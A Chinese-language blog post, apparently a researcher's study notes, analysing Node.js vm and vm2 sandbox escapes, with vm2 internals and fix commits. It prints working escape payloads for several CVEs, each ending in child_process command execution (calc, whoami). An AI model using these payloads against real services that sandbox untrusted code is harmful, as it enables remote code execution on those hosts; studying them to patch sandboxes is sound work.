nodejs vm/vm2沙箱逃逸分析
前言:分析了yapi的mongodb,不过不太懂关于vm2如何进行逃逸,又跑去恶补了下es6,然后再去看下yapi的命令执行的方面
参考文章:https://es6.ruanyifeng.com/
参考文章:https://www.oxeye.io/blog/vm2-sandbreak-vulnerability-cve-2022-36067
参考文章:https://xz.aliyun.com/t/11859
参考文章:https://www.anquanke.com/post/id/207283
什么是vm模块
防止变量的污染,VM的特点就是不受环境的影响,也可以说他就是一个 沙箱环境 (沙箱模式给模块提供一个环境运行而不影响其它模块和它们私有的沙箱)。
vm模块的使用
vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
vm.runInThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。
这里需要注意的就是runInThisContext虽然是会创建相关的沙箱环境,可以访问到global上的全局变量,但是访问不到自定义的变量
那么就有一个问题这个函数能在沙箱中直接访问到global,那么就可以直接获得global.process来进行命令执行,如下所示
const vm = require('vm');
sx = {
'name': 'chiling',
'age': 18
}
context = vm.createContext(sx)
const result = vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`, context);
console.log(result)
vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
runInContext一定需要createContext创建的沙箱来进行配合运行
const vm = require('vm');
sx = {
'name': 'chiling',
'age': 18
}
context = vm.createContext(sx)
const result = vm.runInContext(`process.mainModule.require('child_process').exec('calc')`, context);
console.log(result)
可以看到默认是无法逃逸的,如下图所示
runInNewContext:执行的效果相当于createContext和runInContext,相关的参数分别是context和要执行的代码,可以提供context也可以不提供,不提供的话默认生成一个context来进行使用
const vm = require('vm');
const result = vm.runInNewContext(`process.mainModule.require('child_process').exec('calc')`);
console.log(result)
如果我们正常执行命令的话是怎么执行的呢,一般都是通过child_process模块,而在沙箱中又不能直接通过require引入child_process,而require的话是可以从process对象中进行获取的,所以这里最终要获取的其实就是process模块,一般都是如下获取
const vm = require('vm');
const y1 = vm.runInNewContext(`this.toString.constructor("return process")();`);
console.log(y1.mainModule.require('child_process').exec('calc'));
vm模块逃逸测试
如果在runInNewContext想要通过逃逸的话可以通过this.constructor.constructor("return process")()
const vm = require('vm');
const result = vm.runInNewContext(`this.constructor.constructor("return process")()`);
result.mainModule.require('child_process').exec('calc')
具体的原因就是在this这个位置上,this指向context(上面的代码中就是默认vm创建的context)并通过原型链的方式拿到Funtion
通过调试可以发现此时传入的this对象中是可以获取到包含process对象的
然后后面的两次constructor操作其实就是原型链的知识了
在原型链图中的走法就是如下所示
图片参考来源:https://www.jianshu.com/p/16704b69ee3c
可以发现这里的this实际上是context的引用,那么其实也说明了只要是外部的引用的特性都是可以进行获取来进行逃逸的,这里用如下代码来进行测试
const vm = require('vm');
context = vm.createContext({aaaaa:[]})
const result = vm.runInNewContext(`aaaaa.constructor.constructor("return process")()`, context);
result.mainModule.require('child_process').exec('calc')
// console.log(result)
vm沙箱arguments.callee.caller绕过Object.create(null)
参考文章:https://github.com/patriksimek/vm2/issues/32
通过相关的措施将上下文对象的原型链设置为null来进行,可以避免部分攻击
这时沙箱在通过this.constructor,就会无法完成沙盒逃逸
const vm = require('vm');
context = Object.create(null);
const result = vm.runInNewContext(`this.constructor.constructor("return process")()`, context);
result.mainModule.require('child_process').exec('calc')
console.log(result)
这里将上下文对象的原型链设置为null的作用是什么呢?这里可以再看下上面发的原型链的图,那么实际上就是this这个引用无法再通过二次constructor来获取Function原型对象了
虽然可以避免部分攻击,但是实际上还是可以被绕过,可以发现这里的this实际上是context的引用,这里被设置了原型对象为null,那么这里引用this也获取不到其他的东西了,但是通过查看还是可以发现通过arguments.callee.caller来进行绕过
这里的arguments.callee.caller是什么东西,先来讲下关于arguments,这个的话是一个Object对象,但是也不是数组,这里通过打印来查看,它存储了每个调用函数中的相关参数
function test(){console.log(arguments)}
arguments.callee是arguments对象的一个成员,它的值为"正被执行的Function对象"
arguments.callee.caller调用当前函数的外层函数,如果是单函数无嵌套的话就是null
下面的代码,console.log的时候,此时的对象触发是在外部作用域中,arguments.callee.caller是在外部,所以可以通过该对象来获取对应的process
// arguments.callee.caller绕过
const vm = require('vm');
const res = vm.runInContext(`
function test(){
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('calc').toString()
}
return a
}
test();`, vm.createContext(Object.create(null)));
console.log(""+res)
vm沙箱Proxy代理绕过Object.create(null)
下面的代码中,value是{}对象传入的,而{}对象是外部作用域下,经过原型链可以获取proces对象来进行利用
const vm = require('vm');
const code3 = `new Proxy({}, {
set: function(me, key, value) {
(value.constructor.constructor('return process'))().mainModule.require('child_process').execSync('calc').toString()
}
})`;
data = vm.runInContext(code3, vm.createContext(Object.create(null)));
data['some_key'] = {};
什么是vm2模块
vm2基于vm开发,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。
vm2 特性:
-
运行不受信任的JS脚本
-
沙箱的终端输出信息完全可控
-
沙箱内可以受限地加载modules
-
可以安全地向沙箱间传递callback
-
死循环攻击免疫 while (true)
在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。
vm2的代码包中主要有四个文件
-
cli.js 实现vm2的命令行调用
-
contextify.js 封装了三个对象, Contextify 和 Decontextify ,并且针对 global 的Buffer类进行了代理
-
main.js vm2执行的入口,导出了 NodeVM, VM 这两个沙箱环境,还有一个 VMScript 实际上是封装了 vm.Script
-
sadbox.js针对 global 的一些函数和变量进行了hook,比如 setTimeout,setInterval 等
vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor 和 proto 这些属性的访问
vm2运行过程
const {VM, VMScript} = require("vm2");
console.log(new VM().run(new VMScript("let a = 2;a")));
vm2沙箱逃逸原理
说实在的,看了源码,但是看的不是很懂,这里只将自己的不知道对的还是错的理解讲述一遍,之后如果有时间的话再来进行学习
sandbox.js
// Map of contextified objects to original objects
const Contextified = new host.WeakMap();
const Decontextified = new host.WeakMap();
test.js
const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;
// By providing a file name as second argument you enable breakpoints
const script = new VMScript(fs.readFileSync(file), file);
console.log(new VM().run(script));
这里进行调试node test.js,可以看到首先来到的是let a = Buffer.from("");
这边可以单步跟进去,可以看到这边的话并不是直接from来进行调用,在这个时候buffer对象就已经被代理了,因为这边正常调用的话应该直接进from方法中了,而此时却是来到了一个get方法中
因为首先获取的是from方法,所以触发的就是代理对象中的get方法,先是进行一系列的判断
if (key === 'vmProxyTarget' && DEBUG) return fnc;
if (key === 'isVMProxy') return true;
if (mock && host.Object.prototype.hasOwnProperty.call(mock, key)) return mock[key];
if (key === 'constructor') return Function;
if (key === '__proto__') return Function.prototype;
if (key === '__defineGetter__') return fakeDefineGetter(receiver, true);
if (key === '__defineSetter__') return fakeDefineSetter(receiver, true);
然后再接着就是return Contextify.value(fnc[key], null, deepTraps, flags);方法来进行执行
这里的话会先判断当前要获取的对象,也就是from函数是否在Decontextified(是一个WeakMap对象)和Contextify中(是一个WeakMap对象),Decontextified和Contextify存储了当前被代理对象
注意:我自己这里好像不太懂Decontextified和Contextify之间的关系,这里的话看了几遍也还是没理解到位
再接着就是来到了return Contextify.function(value, traps, deepTraps, flags, mock);中,因为from是方法,所以走的就是这个分支
此时还可以注意到deepTraps对象,其实也就是FROZEN_TRAPS
跟到Contextify.function方法中可以发现在调用Contextify.object之前会,其中的第二个参数通过host.Object.assign来进行生成,涵盖了apply,construct,get,getPrototypeOf方法,着四个方法主要就是作用于这里的from方法之上的,其中第三个参数是deepTraps,这里还没有用到,traps为null
继续跟进到Contextify.object方法中,还可以看到为from方法生成Proxy对象了,此时的Object.assign对象就不一样了,这次涵盖了traps和deepTraps
这里还可以看到最终的traps和deepTraps,一系列的方法,就是为了给这个from方法做限制,让from在后面调用的时候走的全是自己的代理方法
这里的话最后还会看到再将这个from方法存储到Contextify.proxies中进行保存,后面再次使用的时候就会从Contextify.proxies中进行取出来进行处理,这样的好处就是不用再次生成一个proxy对象来重新处理了
接着的话就是进行调用from方法,所以这里触发apply方法,这里就可以看到,因为之前在Contextify.proxies存储过,所以这里取出先取出对应的from对象
vm2主要做的就是为当前要调用的对象以及相关要调用的方法和要获取的属性对象都创建一个对应的proxy对象来进行存储到Decontextify.proxies中
然后每次进行调用对应的方法或者是获取对应的属性的时候都会从中Contextify.proxies进行取出来进行调用
接着就是a.i = () => {};方法,可以看到这里给i变量进行赋值,赋值会触发set方法
赋值的对象是方法,所以走的分支同样也是function分支
console.log(a.i);,触发的就是获取i变量也就是触发了get方法手
因为i变量已经存储到了Decontextified中,所以可以直接取出打印
这里总结图,对于Buffer.from方法的调用流程就是如下所示
vm2沙箱逃逸利用
通过超过RangeError的最大调用堆栈大小CVE-2019-10761(Fixed in 3.6.11)
参考文章:https://github.com/patriksimek/vm2/issues/197
原理:在沙箱外的对象中触发一个异常,并在沙箱内捕捉错误e,这样就可以获得一个外部异常e,再利用这个异常e的constructor获得Function从而获取process对象执行代码
这里挑选的是Buffer.prototype.write,不过不一定write方法,其他的方法也可以,比如Buffer.prototype.toJSON
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
修复参考:https://github.com/patriksimek/vm2/commit/4b22d704e4794af63a5a2d633385fd20948f6f90
小技巧:对于safe-eval也同样应用,具体版本不了解
这个代码说实话没理解,又因为会爆栈导致无法进行调试(会自动终止程序),只能放在这里,其中爆栈的思路可以学习
CVE-2021-23449(Fixed in 3.9.5)
import语法参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/import
这个参考了Phi师傅的文章,原理是import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量,如果是外部变量的话其实就好说了,这里的话直接获取constructor拿到process对象然后进行命令执行即可
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
has方法未代理导致绕过
这个是如何进行逃逸的呢,分成两个部分,首先在沙箱中自己定义了Object.prototype.has方法,在该方法里面通过获取t变量(也就是主键)的构造器,然后再返回process对象
第二个部分就是,通过 "" in Buffer.from 来触发has方法来实现返回process对象
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
获取host.Function
核心点就是获取host.Function,可以看到如果我们有办法获取到host.Function的话,那么就相当于获取到了沙箱外的对象,这样子的话那么就可以进行逃逸命令执行
利用POC如下所示
var process;
try {
let a = Buffer.from("")
Object.defineProperty(a, "", {
get set() {
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
return ()=>{};
}
});
} catch (e) {
process = e(() => {});
}
首先通过Object.defineProperty来进行定义,而这边的话会触发原型链中的defineProperty,来到如下
执行到这里的时候下面的片段已经执行完成,所以此时执行descriptor.get会触发对get方法的执行,也就是执行到throw Contextify.value(e);
注意点:这里可能会有个疑问就是为什么在调用descriptor.get的时候,其中的Object.defineProperty(Object.prototype, "get",....) 部分就完成了呢?其他文章中的说明说nodejs是异步的,不过自己通过get set()这种定义来进行测试代码,你会发现当在defineProperty的时候,get set()的return前段部分就会直接进行执行
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
然后同样会对在抛出异常的时候会对throw Contextify.value(e);进行异常进行代理
因为抛出异常,此时就来到process = e(() => {});,这里的对象e就是被代理的异常类
执行e(() => {})过程中触发当前代理对象e的apply方法,来到如下
这里的执行的是x.constructor,所以拿到了host.Function,最终获取到process来进行命令执行
针对prepareStackTrace的攻击
自定义异常处理:https://github.com/nodejs/node/issues/7749
覆盖prepareStackTrace导致沙箱逃逸(fixed in version 3.9.10)
const { set } = WeakMap.prototype;
WeakMap.prototype.set = function(v) {
return set.call(this, v, v);
};
Error.prepareStackTrace =
Error.prepareStackTrace =
(_, c) => c.map(c => c.getThis()).find(a => a);
const { stack } = new Error();
Error.prepareStackTrace = undefined;
stack.process
可以看到直接给自定义了一个变量LocalWeakMap存储了WeakMap方法对应的get和set,这样即使对WeakMap.prototype.set重写了,最后set的时候也是调用的是localWeakMapSet
https://github.com/patriksimek/vm2/commit/3a9876482be487b78a90ac459675da7f83f46d69
覆盖prepareStackTrace导致沙箱逃逸CVE-2022-36067(fixed in version 3.9.11)
参考文章:https://github.com/patriksimek/vm2/issues/467
这个思路很好理解,因为在3.9.10中并没有对Error做相关的限制,导致我们可以重新定义一个Error来绕过对LocalError的prepareStackTrace的操作,就是我们通过实例化Error对象就可以获得栈的情况,其中prepareStackTrace函数定义了如何对异常的栈的处理,我们这边进行重写,因为栈中不仅包含了沙箱的栈还包含了其他作用域下的栈,那么思路就出来了,我们只需要通过遍历栈中的对象,拿到全局作用域下的process即可进行逃逸
windows上测试失败,但是我放到mac上测试是ok的
globalThis.OldError=globalThis.Error;
globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
traces[0].getThis().process.mainModule.require('child_process').execSync('calc')
}
const {stack}=new globalThis.OldError
修复commit参考:https://github.com/patriksimek/vm2/commit/d9a7f3cc995d3d861e1380eafb886cb3c5e2b873
这里改了之后,之后的Error全都是localError所定义的,所以但凡在localError上做东西的话都需要经过prepareStackTrace,所以这里也就不行了
更多的vm2逃逸攻击方式
相关的攻击payload都有在https://github.com/patriksimek/vm2/blob/master/test/vm.js中进行记录,都可以进行借鉴参考学习